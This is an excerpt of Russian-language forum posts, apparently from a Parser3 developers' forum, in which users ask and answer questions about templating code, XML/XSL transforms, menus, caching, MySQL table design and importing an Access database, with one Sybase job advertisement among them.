Эта конструкция соответственно выводит только \"Название отдела_1\" и далее всех сотрудников. Понимаю, код неправильный, но как это сделать по-другому - не знаю. Помогите, плз."
"39866","простой вариант:\
[code]\
#достаём всех\
$All_Workers[...]\
^for[Division_ID](..;..){...\
\
   $Division_Workers[^Workers.select($Workers.Worker_Division_ID == $Division_ID)]\
   ^Division_Workers.menu{...}\
}\
[/code]\
\
тут надо знать id, если добавится Division, придётся править код.\
\
на микрон сложнее:\
[code]\
#достали всех\
$Prev_Devision_ID(0)\
#бежим по всем\
^if($Prev.. != текущий_division_id){\
# запомнили нового\
    $Prev_Devision_ID($текущий_devision_id)\
#    выводим шапку\
}\
#выводим человечка\
[/code]\
\
и имейте в виду:\
количество сотрудников может рости.\
я пришёл в компанию, нас было 8.\
ну а сейчас... http://www.artlebedev.ru/studio/stat/\
[и последнюю цифру в таблице умножьте на 5]"
"39868","[code]\
$hash_tree[^sql_table.hash[Worker_Division_ID][$.distinct[tables]]]\
^hash_tree.foreach[k;v]{\
# выводим название подразделения\
  $k = $v.Worker_Division_Name\
  ^v.menu{\
#    выводим сотрудника\
     $sql_table.Worker_Name\
  }[<br />]\
}[<br /><br />]\
[/code]\
\
ну по хорошему подразделения надо выводить не foreach-ем, а как-либо отсортировав (например воспользовавшись оператором @foreach[] из FAQ)"
"39869","PAF, Misha v.3 - спасибо огромное, не представляете как меня выручили :)"
"39871","В итоге получилось вот что:\
\
[code]\
\
^connect[$connect_string]{$sql_table[^table::sql{exec iis_corp_Worker_Select 0}]}\
\
<table width=\"95%\" cellspacing=\"1\" cellpadding=\"5\" align=\"CENTER\" bgcolor=\"#808080\">\
\
$Prev_Devision_ID(0)\
$Prev_Worker_SubDivision_ID(0)\
^sql_table.menu{\
		^if($Prev_Devision_ID != $sql_table.Worker_Division_ID){\
				<tr bgcolor=\"#FFFFFF\">\
					<td colspan=\"6\" align=\"CENTER\" bgcolor=\"#C0C0C0\"><b>$sql_table.Worker_Division_Name</b></td>\
				</tr>\
		}\
		$Prev_Devision_ID($sql_table.Worker_Division_ID)\
		^if($Prev_Worker_SubDivision_ID != $sql_table.Worker_SubDivision_ID){\
				<tr bgcolor=\"#FFFFFF\">\
					<td colspan=\"6\" align=\"CENTER\" bgcolor=\"#FFFFFF\"><b>$sql_table.Worker_SubDivision_Name</b></td>\
				</tr>\
		}\
		$Prev_Worker_SubDivision_ID($sql_table.Worker_SubDivision_ID)\
				<tr bgcolor=\"#FFFFFF\">\
					<td><b>$sql_table.Worker_Name</b><br><a href=\"mailto:$sql_table.Worker_EMail\">$sql_table.Worker_EMail</a></td>\
					<td>$sql_table.Worker_Position</td>\
					<td align=\"CENTER\">$sql_table.Worker_Phone_local</td>\
					<td align=\"CENTER\"><nobr>$sql_table.Worker_Phone_mobile</nobr></td>\
					<td align=\"CENTER\">$sql_table.Worker_Room</td>\
					<td align=\"CENTER\">$sql_table.Worker_BirthDateShort</td>\
				</tr>\
}\
		</table><br>\
\
[/code]\
\
Единственное, если $sql_table.Worker_SubDivision_ID = пустота\
появляется пустая строка, не очень заметно, но неприятно.... Буду думать"
"39873","Вот какая проблема.\
\
При нажатии на заголовок новости у меня должна открыться ХМЛка с телом этой новости, но я не знаю как это сделать. \
Мой вариант:\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
<table width=\"50%\" height=\"20\" border=\"0\" bgcolor=\"#FFFFFF\" bordercolor=\"#000000\" cellspacing=\"0\" align=\"top\">\
<tr>\
		<td align=\"center\" width=\"255\">\
^connect[$connect_string]{\
\
$hnews[^table::sql{select\
\
id, date, lead, body from news \
WHERE id = ^form:id.int(0)}]\
^if($hnews){\
	^hnews.menu{\
		$hnews.body\
	}\
}{\
	Новости с указанным id ($form:id) нет в базе данных.\
}\
}\
		<hr>\
		</td>	  \
</tr>\
</document>}] \
^document.save[news.xml] \
\
$sourseDoc[^xdoc::load[news.xml]]\
$transformedDoc[^sourseDoc.transform[news.xsl]]\
^transformedDoc.string[\
    $.method[html]\
]\
Это код index.html в /news/\
\
При запуске ругается, вот как:\
create\
Entity: line 16: parser error : Opening and ending tag mismatch: hr line 15 and td\
		</td>	  \
		     ^\
Entity: line 17: parser error : Opening and ending tag mismatch: td line 5 and tr\
</tr>\
     ^\
Entity: line 18: parser error : Opening and ending tag mismatch: tr line 4 and document\
</document>\
           ^\
Entity: line 18: parser error : Premature end of data in tag table line 3\
</document>\
           ^\
Entity: line 18: parser error : Premature end of data in tag document line 2\
</document>\
           ^\
Вроде бы в XSL все прописано?\
Помогите, плз\
\
С уважением, Rezook"
"39876","Проведя модернизацию имеем.\
index.html\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
\
<news>\
<title>Новости</title>\
\
<body>\
\
^connect[$connect_string]{\
$hnews[^table::sql{select\
id, date, lead, body from news \
WHERE id = ^form:id.int(0)}]\
^if($hnews){\
	^hnews.menu{\
		$hnews.body\
	}\
}{\
	Новости с указанным id ($form:id) нет в базе данных.\
}\
}\
\
</body>\
</news>\
\
}] \
^document.save[news.xml] \
\
$sourseDoc[^xdoc::load[news.xml]]\
$transformedDoc[^sourseDoc.transform[news.xsl]]\
^transformedDoc.string[\
$.method[html]\
]\
На ошибки не ругается, ХМЛ создает правильно, но экран пустой.\
В чем проблема?\
\
С уважением, Rezook\
\
P.S. Вот XSL\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
\
<xsl:template match=\"news\">\
<html>\
     <head><title><xsl:value-of select=\"title\" /></title></head>\
     <body><xsl:apply-templates select=\"body\" /></body></html>\
</xsl:template>\
\
<xsl:template match=\"body\">\
</xsl:template>\
\
</xsl:stylesheet>"
"39878","и, пожалуйста, используйте \
http://www.parser.ru/forum/info.html"
"39881","Спасибо всем, кто принимал участие в этом трэде.\
Все заработало.\
Ошибка была в XSL."
"39882","Спасибо :)\
А что делать если переменная пустая?"
"39884","Хочу реализовать меню с тремя уровнями:\
\
\
[code]\
# Подключение в БД, где храянтся все разделы первого уровня\
^connect[$connect_string]{\
$menua[^table::sql{SELECT id, name, url FROM sect\
ORDER by name}]\
}\
\
\
^menua.menu{\
	<li id=\"$menua.id\"><a href=\"$href/$menua.url/\">$menua.name</a> $menua.id</li>\
\
\
\
# Проверяем, если URI соответствует URL раздела первого уровня, то выводим данные для меню 2 уровня, ТОЛЬКО из нужной таблицы\
	^if(^uri.match[$href/$menua.url/]){\
		^connect[$connect_string]{\
		$menub[^table::sql{\
			SELECT id, name, url, sid\
			FROM $menua.url\
			WHERE sid = '0'\
			ORDER by name\
\
			}]\
		}\
		\
\
\
# Выводим второй уровень\
		^menub.menu{\
		<li class=\"2\"><a href=\"$href/$menua.url/$menub.url/\">$menub.name</a> $menub.id - $menub.sid</li>\
	\
\
		\
# Третий уровень пошел...\
			^connect[$connect_string]{\
				$menuc[^table::sql{\
					SELECT id, name, url, sid\
					FROM $menua.url\
					WHERE sid = '$menub.id'\
					ORDER by name\
				}]\
			}\
			\
			^menuc.menu{\
				^if(^uri.match[$href/$menua.url/$menub.url/]){\
					<li class=\"3\"><a href=\"$href/$menua.url/$menub.url/$menuc.url/\">$menuc.name</a> $menuc.id - $menuc.sid</li>\
				}	\
			}	\
		}\
		\
	\
	}\
}\
[/code]\
Обнаружил, что если URL первого уровня совпадает с URL второго уровня другого раздела, то выводится и третий уровень нужного раздела (правильно), и второй уровень другого раздела, чей URL совпадает (например: запрашиваю Новости спорта /news/sport/, показыватся плюс к нужному Спортивная команда /sport/).\
\
Может кто ссылку знает с примером похожей конструкции?"
"39885","можно использовать отношения родитель-дочерний\
\
id | parent | uri         | name \
----------------------------------\
 1 | 0      |/news        | новости\
 2 | 1      |/news/sport/ | новости спорта\
 3 | 0      |/about/      | о....\
\
а лучше сделал так:\
[code]\
<menu>\
  <item title=\"новости\" uri=\"\">\
      <item title=\"новости спорта\" uri=\"\">\
         <item title=\"новости хокея\" uri=\"\"/>  \
         <item title=\"новости футбола\" uri=\"\"/>  \
         <item title=\"новости ...\" uri=\"\"/>  \
         <item title=\"новости ...\" uri=\"\"/>  \
      </item>\
      <item title=\"новости медецины\" uri=\"\"/>\
  </item>\
</menu>\
[/code]\
\
Может кто мне подскажет как более красиво хранить данные о многоур. (неогранич. кол-во вложений) меню в XML.\
Впринципе мне и так нравится"
"39886","Ребята, после бессонной ночи, сделал гостевуху, но возникли промблемки.\
\
Вопрос №1:Как вывести бэкграундное изображение.\
C measure бился, но ничего не получилось.\
Недопонял кой-чего.\
\
Вопрос №2:В каком типе записываются http'шки в Б.Д.\
\
Вопрос №3:Как вывести таблицу начиная не с начала, а с конца\
\
Вопрос №4:Как узнать последний id'шник таблицы?\
\
Вроде бы все.\
\
С уважением, Rezook."
"39887","Наверное как и все табе скажут читай книги или хотябы помошь к программам ну и как говорил PAF рукородство по SQL.\
\
Даже если у тебя есть phpMyAdmin то у него можно многому научится."
"39890","1. Я недопонимаю, чего вы недопоняли. Какая разница бэкграунд или img. Поиск в руки.\
\
2. Что такое http'шки?\
\
3, 4 вам ответили."
"39891","http'пишки - это линки на другие веб-страницы"
"39893","По-моему, нет.. Тырить некому..)))"
"39894","Столкнулся с некоторой проблеммой.\
вот в корневом auto.p сайта генерятся странички\
[code]\
@main[]\
^rusage[start]\
$response:content-type[\
	$.value[text/html]\
        $.charset[$response:charset]\
]\
# задаем дату устаревания\
$response:expires[^date::now(+1)]\
# а тут начинается кэширование\
^my_cache{\
^use[engine.p]\
$engine[^engine::engine[2]]\
# тут собственно генерится код страницы\
$page[^engine.build_object[^object_id[]]]\
# проверка \
^if($engine:HTTP_STATUS == 404){^cache(0)}\
# и вот тут выдаем время обновления страницы\
# оно берется из БД и доступно из поля объекта $engine:LAST_MODIFIED\
# но вот проблема в чем!\
# когда кэш запомнит страницу, то этот заголовок уже не выдается, \
# т.е. в принципе всё как в доке написано, кэшируется выдача.\
# но мне нужно выдавать этот заголовок\
# если вынести $response:Last-Modified за пределы кэша, \
# то будет ругань на несозданый обект $engine в момент когда будет отдавать страницу из кэша\
# а если вынести \
# ^use[engine.p]\
# $engine[^engine::engine[2]]\
# из кэша то тогда будет работать медленее!\
$response:Last-Modified[$engine:LAST_MODIFIED]\
# выдаем страницу, если была 404 ошибка то $page будет заведомо пустой\
$page\
}\
\
^rusage[finish]\
[/code]\
\
Как правильнее поступить?"
"39897","1. что все наверно на обеде :)))\
\
2. что наверно нужно хранить время обновления страницы во внешнем файле .cfg и уже из него брать это время.\
\
Что думают опытные пользователи?"
"39898","Я думаю в данном случае одной таблицей не обойтись.\
Сделал так (похоже предется переделывать...)\
Создал таблицу в которой хранятся подписи и класс checkbox. \
Т.е.  id-class-name_rus-name_eng\
       1 1     товар_1  prod_1\
       2 2     сырье_1   ....\
   \
В другой таблице 5 колонок - id-c_id-prod-prod_s-spice\
                              1 323  1    0      2  \
                              2 323  0    ...    4\
Значения в этой таблице - значения id из таблицы чекбоксов.\
$prod_f[$form:tables.prod] - собираю все отмеченные значения первого поля, $prod_fs[$form:tables.prod_s] - 2-ого поля,\
$poroda[$form:tables.poroda] - 3-его поля\
Например пользователь выбрал в 1 поле 3 значения, во 2 - 5, и в 3 - 4\
Как добавить такую конструкцию в бд, я пока не понимаю.\
Есть идея только разбить ее на 3 - prod-prod_s-spice - отдельно в каждую таблицу.."
"39899","1. почему сюда добавлен ответ. вы начали реализовывать с битовыми масками, про которые ПАФ упомянул и что-то не срослось?\
\
2. описание ваших таблиц\
\
3. обычно когда говорят о интерфейсе на веб, в котором учавствуют несколько чекбоксов (вы к сожалению до сих пор не сказали что именно делаете вы) подразумевают установку связей многие-ко-многим. наличие чекбокса подразумевает что связь есть. т.е. есть две таблицы с элементами которые связывают, и третья таблица - со связями (есть запись в ней - есть связь). Например есть пользователи, и у него может быть несколько флажков. Вы создаете таблицу с пользователями (PK user_id), таблицу параметрами пользователя (PK param_id) и таблицу со связями, где есть 2 столбца: user_id и param_id. есть связь - показываем что флаг установлен. в таблице param могут быть ешё поля title, description и т.д. которые вы можете использовать для отображения label чекбоксов.\
\
P.S. так как предложил Танкист делать не нужно."
"39900","Может у кого-нибудь есть parser3.cgi, собранный под RedHat 7.1 со статически подшитой glibc?"
"39901","Разобрался\
Мой случай:\
Есть 3 колонки чекбоксов по 21 еденице в каждой.\
1 колонка name=\"prod\"\
2 колонка name=\"prod_s\"\
3 колонка name=\"spice\"\
выглдяит это примерно так:\
Покупка  Продажа        Вид\
ch1      ch2            ch3\
ch1      ch2            ch3\
ch1      ch2            ch3\
\
Первые два чекбокса (ch1 ch2) имеют класс 1, третий чекбокс класс 2\
Чекбоксы класса 1 и 2 объявляются так:\
^dbconnect{\
$prod[^table::sql{SELECT id, class, name_rus FROM spec_f WHERE class='2'}]\
$spice[^table::sql{SELECT id, class, name_rus FROM spec_f WHERE class='1'}]\
}\
1:\
<td><input type=\"checkbox\" name=\"prod\" value=\"$prod.id\"></td><td><input type=\"checkbox\" name=\"prod_s\" value=\"$prod.id\"></td><td>$prod.name_rus</td>\
2:\
<td><input type=\"checkbox\" name=\"poroda\" value=\"$spice.id\"></td><td>$spice.name_rus</td>\
\
Далее нужно добавить выбранные значения в таблицу.\
Сделал так: для каждого класса чекбоксов (класса 2, но получилось 3 таблицы т.к. 1 делится на покупку и продажу) выделил таблицу\
id  c_id  prod(или prod_s или spice)\
в prod вставляется $prod.id  и т.д. (потом в соответсвие id оствится name_rus или name_eng)\
\
Так работает, на мой взгляд более менее удобно"
"39902","Ты каким загрузчиком FTP пользовался?\
Если parser.cgi как ASCII файл переслать - работать не будет.\
Там конец строки и возврат каретки другой, в отличае от бинарника.\
Тебе нужно закачать на сервер используя тип файла как бинарный код (binary).\
Лучше всего тебе здесь помогут Total Commander или виндовый браузер(точно не помню, но скорее всего да)."
"39903","Делаю так, чтобы если пользователь раньше уже добавил в бд значения чекбоксов, то при открытии страницы уже выбранные чекбоксы были выбранны.\
Делаю так:\
#выбрал уже добавленные записи\
$out_prod[^table::sql{SELECT prod FROM spec_prod WHERE c_id='$c_id'}]\
\
#вывожу чекбоксы\
^prod.menu{\
<input type=\"checkbox\" name=\"prod\" value=\"$prod.id\">\
}\
Нужна конструкция наподобие этой (эта не работает)\
^out_prod{^if($prod.id==$out_prod.prod){checked}}\
Т.е одновременно, нужно перебрать 2 таблицы\
Не подскажите, что не так?"
"39904","Ты каким загрузчиком FTP пользовался?\
Если parser.cgi как ASCII файл переслать - работать не будет.\
Там конец строки и возврат каретки другой, в отличае от бинарника.\
Тебе нужно закачать на сервер используя тип файла как бинарный код (binary).\
Лучше всего тебе здесь помогут Total Commander или виндовый браузер(точно не помню, но скорее всего да)."
"39906","Ведь считывание с диска cfg файла быстрее чем обращение к БД..."
"39907","Описание позиции:\
Российскому представительству крупной американской компании Ajilon Consulting (www.ajilonconsulting.com) требуется разработчик/архитектор баз данных Sybase.\
Обязательные навыки:\
- Хорошее знание и опыт работы с Sybase ASE 12.0 и выше\
- Навыки администрирования Sybase ASE\
- Опыт программирования под Sybase ASE (написание хранимых процедур, триггеров и т.д.)\
- Разговорный английский язык (т.к. возможны командировки в USA)\
\
Желательные навыки:\
- Опыт по проектированию баз данных Sybase\
- Знание Visual Basic\
- Опыт поддержки промышленных систем\
\
Приветствуются:\
- Опыт работы с Sybase Replication Server\
- Опыт работы с Sybase под UNIX\
- Опыт настройки производительности Sybase\
- Опыт написания финансовых приложений\
- Знание C++ под UNIX\
 \
Обязанности:\
Работа на проекте по поддержке системы американского заказчика. Система написана на технологиях: С++/UNIX – серверная часть, VB/Windows – клиентская часть, Sybase ASE – базы данных.\
Планируется, что данному сотруднику придется выполнять примерно следующие задачи\
1)	Проводить административные работы с серверами Sybase заказчика.\
2)	Делать ревью кода, имеющего отношение к изменениям в БД Sybase, посылаемого на проверку командой разработчиков.\
3)	Проводить настройку производительности Sybase в случае необходимости.\
4)	В свободное от загрузки по Sybase время участвовать в процессе поддержки VB и C++ кода – править кастомерские баги и делать разработку новых фич.\
 \
Условия:\
Занятость полная, офис в Москве. Для кандидатов из других городов компания готова помочь с relocation в Москву.\
Зарплата белая 1200-2000 долларов gross, по результатам собеседования. Исп. срок 3 мес. Мед. страховка п-ка УДП №1. Перспектива карьерного роста. Работа строго по российскому законодательству.\
\
Контактная информация:\
\
По всем вопросам обращаться к Александру Шапкину\
Alexander.Shapkin@ajilon.com\
Телефон: 7-095-540-8060\
Факс: 7-095-540-8062\
Сайт московского представительства: www.ajilon.ru\
Корпоративный сайт компании: www.ajilonconsulting.com"
"39908","Ситуация такая. В общем-то, я любитель в программировании, но свой сайт собрал, полазив по мануалам и здесь, по форуму. Изиняюсь, если это уже кто-то спрашивал.\
\
Пишу книгу. Один раздел: side = 1  для него адрес статьи такой /left/?id=$articles.id а соответственно для другого раздела side = 2 и /right/?id=$articles.id\
\
Здесь все просто. Uri берется из файла с помощью ^if(). \
\
Комментарии у меня раньше выводились через comments.html?id=$articles.id на отдельной странице. Однако со временем дизайн двух разделов стал совсем непохожий, и я решил сделать форму комментариев на той же странице, то есть /left/(/right/)?id=$articles.id?do=comment\
\
Опять же здесь приводились отличные примеры и я без пробелtм все сделал. проблема осталась вот в чем. Как организовать корректную ссылку на комментарий с первой страницы.\
\
Таблица comments имеет стандартную структуру, как советовал [b]Misha v.3[/b]. Связана с articles с помощью articles_id\
\
а side, разумеется в таблице articles. \
\
Спасибо."
"39909","Не совсем про парсер, но больше некуда. \
\
В процессе написания cmsки встала такая задачка..\
Один из модулей - конструктор форм. Т.е. возможность из админки собрать свою простенькую форму (для обратной связи, или online-заказа).\
Сейчас всё это делается в несколько шагов, т.е. \
Редактирование формы -> Добавить поле textarea, ввести название -> Сохранение в БД -> Возврат на основную страницу, где форма заново собирается из БД.\
\
Пришла мысль, а нельзя ли сделать сборку формы на одной странице посредством dom/javascript (appendChild и т.д.), а уж потом разом эту структуру сохранить в БД?\
\
Точнее сам конструктор jsный я написал, которым можно построить форму. Вопрос как её структуру запомнить и записать в БД. Ввести array'и аналогичные структуре БД?\
\
Таблицы БД такие:\
forms:       id | title\
Это сами формы.\
[code]\
forms_block: id | title | uniq | type | form_id | pos\
Это блоки форм. Т.е. textarea это отдельный блок. А несколько radio кнопок, или option select'а, тоже в одном блоке.\
\
forms_nodes: id | title | block | pos\
Это пункты форм со ссылкой на блок их объеденяющий. \
[/code]\
Не гениально, но функционирует. Если кто-либо знает решение поизящнее, подскажите пожалуйста, очень мне не нравится вся эта громоздкая конструкция.."
"39910","так должно быть или я чего то непонимаю?\
\
^file:list[] \
не показывает файлов без имени, например .htaccess\
p3_1_4, w2k."
"39911","таки и должно быть\
\
ручками предется..."
"39912","формы... они, знаете ли и с парсером и джаваскриптом...\
так вот documents.forms['fname'].elements['el'].value eq $form:el\
так что не надо append'ов, если сразу не надо показать форму, как будет выгалядеть перед добавлением в бд..."
"39913","В том-то и соль, чтобы не перегружая десять раз страницу визуально понятно создать структуру формы.. \
Такой конструктор есть, хочется лучшего. =) Может как-нибудь и сподоблюсь.."
"39914","ну, если чествно не мойму чего ты хочешь... не показав кода..."
"39915","Получилось так.\
\
$sections[^table::load[/sections.cfg]]\
\
$av[$comments.articles_id]\
\
$ar[^articles.hash[id][$.distinct(1)]]\
\
$section_side[$ar.[$av].side]\
\
$an[^sections.hash[side][$.distinct(1)]]\
\
$side[$an.[$section_side].uri]\
\
Длинно. Зато работает."
"39916","Больше чем вы можете себе представить"
"39920","Никак не могу разобраться со вставкой строк в sql-ную базу. \
\
Мне потребовалось сделать вывод технических характеристик в виде: «параметр - значение». Все данные храню в sql-ной базе (поля: id (auto_increment),title и value). При первоначальном внесении, информация идет по-порядку и все ОК. \
\
Вопрос возникает при добавлении данных: как вставить дополнительную строку между существующими строками в таблице?"
"39921","Только последовательным перебором всех строк, начиная с той позиции, на которую нужно вставить новую строку."
"39922","Понятно. А вообще как народ решает эту проблему? При изменении последовательности строк переформатирует таблицу или добавляет столбец с каким-нибудь кодом для сортировки?"
"39923","1) Генерим кусок xml-я\
2) Генерим другой кусок xml-я\
...\
n) Считываем .ent\
n+1) Кучкуем все куски xml-я и .ent\
\
:)"
"39925","какая нафиг разница под каким id эта запись?\
ориентируйтесь не по id.\
а уникальность id это наоборот хорошо, и не надо втыкать что-либо между удаленными записями."
"39926","У меня то был вопрос такой. Есть список, например:\
\
id  title   value\
1   Ширина  1 метр \
2   Высота  2 метра\
3   Масса   20 кг\
\
\
Теперь хочу вставить между 2 и 3 строку, например, «Ширина 3 метра». И нехай с ним, пусть id будет уникальным равен 4 и идет не по порядку. Можно ли это реализовать средствами MySQL? Или добавить столбец, где определять порядок вывода?"
"39927","вы про это молчали...\
\
добавьте дополнительное поле, у меня оно всегда называется sort_order и прописывайте туда ключ сортировки. по умолчанию при добавлении новой записи можете туда записывать id этой записи (у меня для этого даже методы есть в *sql/@set_last_insert_id[]), при необходимости просто меняете местами нужные значения в этом поле."
"39928","Просто я думал, что можно выполнить сдвиг строк sql-ными средствами. Wonder разъяснил, что я ошибался."
"39929","в вашем случае странички с 404 не кешируются. в общем-то с одной стороны логично: на фига их кешировать, т.к. вероятность что ещё раз придут по ссылке вида /asdf мала (хотя есть такая фигня как /_vti_inf.html). \
\
совсем не кешировать страницы с 404 ошибкой не есть хорошо, т.к. опубликованная на nnm.ru кривая ссылка на ваш сайт может его уронить :)\
\
с другой стороны все странички с 404 одинаковые (ну... очень похожи, разве что может быть отличаются написаным путем), и я их все равно кеширую, но отдельно: в качестве ключа кеширования не выступает url по которому обратились. т.е. у меня внутри engine есть еще один cache именно для 404 ошибки, чего и вам желаю (по крайней мере подумать над проблемой, может вы найдете иное решение)."
"39930","А можно, пожалуйста, примерчик с передачей-приемом параметра."
"39931","так на вскидку кажется что в ключе кэширования для 404 важен ошибочный запрошенный $request:url"
"39932","У меня есть форма типа \"радио\"(type=\"radio\") В нем три отделения.\
Как мне сделать, чтобы при выделении одного из полей осуществлялся переход на любую другую страничку? В парсерской доке про радио ничего не говорится.\
\
\
С уважением, Rezook"
"39936","это таки работает.\
Спасибо"
"39937","Читайте документацию по JavaScript'у.\
\
<input type=\"radio\" name=\"f\" onclick=\"document.location.href='page1.html'\">1<br />\
<input type=\"radio\" name=\"f\" onclick=\"document.location.href='page2.html'\">2"
"39938","1. В xsl отдавать xml со структурой всего сайта или можно ограничится только данными для конкретной странцы?!\
[i]\
пример: имеем site.xml, в зависимости от $request.uri мы _выкусываем_ нужные данные и отдаём в xsl\
<site>\
  <page>\
    <menu>\
      <item>...</item>\
    </menu>\
   любые данные необхожимые в xsl\
  </page>\
</site>\
[/i]\
\
2. Работа с формами\
2.1. Передавать атрибутами какие поря обязательные для заполнения, а какие нет?\
2.2. Как передавать сервисные ошибки: поле N не заполненно, поле M - не корректное?\
2.3. Стоит ли различать xml тэгами формы авторизации?!\
\
3. XSL\
Мне сложно сформулировать вопрос, попытаюсь обьяснить. :(\
Пытался создать _один_ xsl для обработки всего сайта. столкнулся со следующими проблемами:\
3.1. Сложность в определении какой же из необходимых <page> мне в данный момент выбирать\
[i]\
Как оказалось использовать переменные в вормировании select для apply-templates c xlt нельзя, можно только в exslt\
Частично функционал переходит на xslt.\
[/i]\
3.2. Создавал под каждый раздел свою xslt, что вообщем-то идею шаблонов убивало на корню, ввиду избыточности. :(\
[i]если не использовать @import. Сложно услидить за целостностью дизайна[/i]\
\
4. XML\
4.1. Стоит ли формировать как в п.1 <menu>, или лучше XPath выяснять, всё, что мне нужно?!\
\
p.S.\
читаю доки на en, ru.\
т.ч. лучше кидать в меня ссылками. что не понятно -- буду уточнять."
"39939","Ne,narod.. eto neserjezno..tehnologija,kone4no,interesnaja,\
no php namnogo prowe i funkcionalnee, osobenno poslednjaja\
versija, a o jsp i java struts ja i voobwe ne govorju...\
ljudi,-u4ites programmirovat!"
"39940","ИМХО подход к формам нужен такой http://www.w3.org/TR/2003/REC-xforms-20031014/\
по моему это то, чего вам не хватает"
"39941","Да, в плане radio, парсер не причем, читайте HTML. Какие бывают элементы <FORM>, их свойства и методы - во должны знать сами.\
Если вам нужно решение с отправкой данных на сервер (не JS):\
\
Решение вашей задачи (можно короче, но так кажется нагляднее для начинающих):\
\
[code]\
#--- начало файла index.html ---\
<HTML>\
<BODY>\
#---- Your procedure ---\
^if(def $form:act eq 'redirect'){\
  ^switch[$form:rd]{\
      ^case[DEFAULT]{ Вы ничего не выбрали }\
      ^case[1]{ $response:location[/left.html] }\
      ^case[2]{ $response:location[/front.html] }\
      ^case[3]{ $response:location[/right.html] }\
                   }\
}\
#---- /Your procedure ---\
      <form action=\"?act=redirect\" method=\"POST\">\
      <input type=\"radio\" name=\"rd\" value=\"1\"> Пойдешь налево<br>\
      <input type=\"radio\" name=\"rd\" value=\"2\"> Пойдешь прямо<br>\
      <input type=\"radio\" name=\"rd\" value=\"3\"> Пойдешь направо<br>\
      <input type=\"Submit\" value=\" Пойти \">\
      </form>\
</BODY>\
</HTML>\
#--- конец файла /index.html ---\
[/code]"
"39943","... а то она сортируется только по алфавиту."
"39946","Две причины:\
\
1. JS может быть отключен\
2. Пути перенаправлений в JS изначально доступны для пользователя. В то время как с serverside-обработкой их можно спрятать за ничегонеговорящими параметрами get.\
\
А вообще, это offtopic."
"39947","вообще, я не знаю где этот вариант может пригодиться... а если и может, то только с js. Незря же тег <a> придумали ;) \
\
ЗЫ согласен, что оффтопик... :)"
"39948","Я наверно уже задолбал с вопросами об Access - e, но всеже...\
\
Значит суть дела такова:\
\
Я написал сайт на парсере и разместил на сервере Apache под FreeBSD(хорошо наверно вам известные masterhost.ru ),так вот, у меня есть огромный прайс (.mdb)Акксессовский, я его перегоняю в текстовый файл, правлю его, расставляю символы табуляции и все такое, но это кропотливая работа!!! \
Пытался написать поисковую строку, столкнулся с множестовом трудностей, с базами всеже работьа куда проще.\
\
Поэтому, Хотел бы у вас узнать, возможно ли работать напрямую с Акксессовской базой????\
\
заранее спасибо за помощь, очень нужно...!!!!!"
"39949","Access + Parser3 (win32 with ODBC driver) -> MySQL on Win32 -> dump MySQL DB -> restore MySQL dump on FreeBSD\
\
Сложно?"
"39951","вообщем-то так делать можно, но не проще ли сразу M$ Access DB перегнать в SQL формат теме же средствами Perl'a?\
Ссылки:\
[url=\"http://search.cpan.org/\"]CPAN[/url]\
[url=\"http://search.cpan.org/~rsavage/DBIx-MSAccess-Convert2Db-1.04/lib/DBIx/MSAccess/Convert2Db.pm\"]DBIx-MSAccess-Convert2Db-1.04[/url]\
\
использовать то, что предложил ув. Егорофф, можно, но чем больше действий - тем сложнее это поддерживать."
"39952","В принципе можно теми же средствами парсера прямо в SQL загонять (минуя дампы/восстановления MySQL), - и цепочка по длине будет такая же (тут забыто выполнение полученного SQL).\
\
А можно и прямо без дампа писать в БД (если есть доступ) хостера парсером под win32, было бы желание, и цепочка получится даже короче чем у перла."
"39953","Чет я не врубился...Вы прелагаете перегнать Аксесовскую базу в МуСкуль или шо???"
"39954","Мнда...такой вариант мне кажется неподходит.\
Дело в том, что эта база обновляется каждый день, люди работают непосредственно в аксесе :(\
Поэтому каждый раз (раз в месяц) приходится всю базу перегонять в текстовик, и работать уже с этим файлом..."
"39955","cron в руки :)\
и пусть себе оно по ночам всё делает."
"39956","У меня есть что-то типа формы фильтра сообщений, как на этом форуме.\
В ней селекторы месяца и дня\
Из нее я получил значения $form.month и $form.day\
Как правильно запросить дату?\
\
\
...\
WHERE date=\"${2005}-${?}-${?}\"> \
\
\
С уважением, Rezook"
"39958","И к чему это?"
"39959","Недавновно в новостях на linux.org.ru проходила новость о тулузе которая перегоняет из MSA файла в MySQL если не ошибаюсь. Самое интересное тулуза работает под *n*x"
"39960","^seek.sql-string[]\
\
Он выдает какую то дату за 1976 год. \
Где у меня ошибка?\
\
\
С уважением, Rezook"
"39961","А подробнее можно?!\
Думаю будет интерестно, т.к. этот вопрос с завидным постоянством поднимается."
"39963","А может найти другого хостера под NT  и базу прописать через ОДБС???"
"39964","К тому же сам ответил (СО) на половину вопросов,а на часть вопросов ответ невозможен без контекста (ОН)\
\
\
1. меньше данных = быстрее\
2.1 СО\
2.2 пользователю - обычно красным шрифтом\
2.3 ОН\
3.1 <xsl:choose>\
3.2 СО\
4.1 ОН\
\
P.S. Если \"en\" - [url=\"http://www.w3.org/\"]главная ссылка[/url]"
"39965","Что собой представляет переменная $form1? Это поля из формы?.. Тогда нужно так:\
\
[code]\
$now[^date::now[]]\
$month(^if(^form:month.int(0) != 0){$form:month}{$now.month})\
$day(^if(^form:day.int(0) != 0){$form:day}{$now.day})\
$seek[^date::create($now.year;$month;$day)]\
...\
WHERE\
  date = ^seek.sql-string[]\
[/code]\
\
Документация: [url=\"http://www.parser.ru/docs/lang/datecreateabs.htm\"]Date (класс) / create. Относительная дата[/url]\
\
А [url=\"http://www.parser.ru/docs/lang/datecreatestring.htm\"]Date (класс) / create. Дата или время в стандартном для СУБД формате[/url] нужна для того, чтобы создавать объект класса Date из строки даты, полученной от SQL-сервера."
"39966","P.S. я понял только первый вопрос, но отвечать на него не стал т.к. он в этом форуме пережеван уже по самое не балуйся."
"39967","Ну, вообщем-то всё перечитал.\
Но какого-то взвешенного решения так и не нащёл.\
(Егороффа, тебя, и PAF'а поиском постарался перечитать)\
\
Идея в том, что все обсуждали это в контексте CMS'а.\
\
А если его нет и пока писать не очень хочется/нужно?!\
\
По делу:\
У меня достаточно расплывчетая черта между данными и их представлениями.\
Что вообщем-то и хочется выяснить.\
\
Где грань того, что нужно оставлять в XML, а что уже должен делать XSLT\
\
Особенно касательно передаваемых данных для страницы.\
\
Насколько оправдан /из вашей практики/ вариант:\
